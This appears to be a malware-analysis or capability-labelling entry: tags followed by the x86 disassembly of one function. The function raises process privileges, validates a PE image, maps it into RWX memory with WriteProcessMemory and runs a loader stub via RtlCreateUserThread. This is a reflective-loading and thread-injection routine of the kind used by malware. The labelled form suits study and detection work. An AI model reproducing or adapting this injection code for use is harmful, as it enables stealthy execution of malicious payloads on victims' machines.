Function at 0x10010880
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x10621040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x20]
mov edi, ecx
push eax
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100108e1
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 8], 2
mov dword [ebp - 0x10], 0x14
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x5a4d
cmp word [edi], ax
je 0x100108fb
push 0x8000
push 0
push edi
call ebx
mov esi, dword [edi + 0x3c]
add esi, edi
cmp dword [esi], 0x4550
je 0x10010912
push 0x8000
push 0
push edi
call ebx
mov eax, 0x2000
test word [esi + 0x16], ax
jne 0x10010927
push 0x8000
push 0
push edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x40
push 0x1000
push dword [esi + 0x50]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [ebp - 0x44], eax
push edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1001097c
push 0x8000
push eax
push dword [ebp - 0x44]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [ebp - 0x40], 0
cmp ax, word [esi + 6]
jae 0x100109c4
lea ecx, [esi + 0x10c]
mov dword [ebp - 0x48], ecx
mov eax, dword [ecx]
push 0
push dword [ecx - 4]
add eax, edi
push eax
mov eax, dword [ecx - 8]
add eax, dword [ebp - 0x44]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
inc edx
movzx eax, word [esi + 6]
add ecx, 0x28
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x48], ecx
cmp edx, eax
jb 0x10010994
push 0x40
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x40], eax
test eax, eax
jne 0x10010a05
push 0x8000
push eax
push dword [ebp - 0x44]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 0x44]
mov eax, dword [edi + 0x3c]
add eax, ecx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x3c], ecx
mov eax, dword [esi + 0xa0]
add eax, ecx
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 0x80]
mov esi, dword [ebp - 0x40]
add eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [ebp - 0x28], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x1c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.10010870
add esi, 0x1c
sub eax, 0x10010760
push eax
push 0x10010760
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x40]
push esi
push 0
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
test eax, eax
jns 0x10010aa7
push 0x8000
push 0
push dword [ebp - 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call dword [sym.imp.ntdll.dll_NtClose]
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0x8000
push 0
push dword [ebp - 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push ebx
call esi
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001187d
mov esp, ebp
pop ebp
ret